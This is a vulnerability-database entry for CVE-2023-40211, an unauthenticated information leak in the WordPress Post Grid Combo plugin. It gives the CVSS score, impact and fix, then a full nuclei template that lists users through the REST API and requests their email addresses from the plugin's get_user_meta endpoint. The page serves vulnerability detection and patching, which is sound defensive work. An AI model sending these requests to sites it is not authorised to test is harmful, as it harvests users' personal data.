Post Grid <= 2.2.50 - Information Exposure via REST API

highseverity

7.5CVSS score

2.2%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PickPlugins Post Grid Combo – 36+ Gutenberg Blocks.This issue affects Post Grid Combo – 36+ Gutenberg Blocks: from n/a through 2.2.50.

Impact

Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.

Fix

Update to the latest version beyond 2.2.50 or apply available security patches.

How to confirm it

Send: GET {{BaseURL}}/{{route}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "[{\"id", "name\":")
Send: POST /wp-json/post-grid/v2/get_user_meta
Positive when: contains "{\"email\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40211 -u <target>

The full check

id: CVE-2023-40211

info:
  name: Post Grid <= 2.2.50 - Information Exposure via REST API
  author: daffainfo
  severity: high
  description: |
    Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PickPlugins Post Grid Combo – 36+ Gutenberg Blocks.This issue affects Post Grid Combo – 36+ Gutenberg Blocks: from n/a through 2.2.50.
  impact: |
    Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.
  remediation: |
    Update to the latest version beyond 2.2.50 or apply available security patches.
  reference:
    - https://patchstack.com/database/vulnerability/post-grid/wordpress-post-grid-combo-plugin-2-2-50-sensitive-data-exposure-vulnerability?_s_id=cve
    - https://plugins.trac.wordpress.org/changeset/2947951/post-grid/trunk/src/functions-rest.php
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-40211
    epss-score: 0.0216
    epss-percentile: 0.8236
    cwe-id: CWE-200
    cpe: cpe:2.3:a:pickplugins:post_grid_combo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: pickplugins
    product: post_grid_combo
    framework: wordpress
    fofa-query: body="/wp-content/plugins/post-grid-combo/"
    publicwww-query: "/wp-content/plugins/post-grid-combo/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,pickplugins,post-grid,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: user_id
        internal: true
        json:
          - '.[0].id'

  - raw:
      - |
        POST /wp-json/post-grid/v2/get_user_meta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":{{user_id}},"meta_key":"email"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"email":'

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from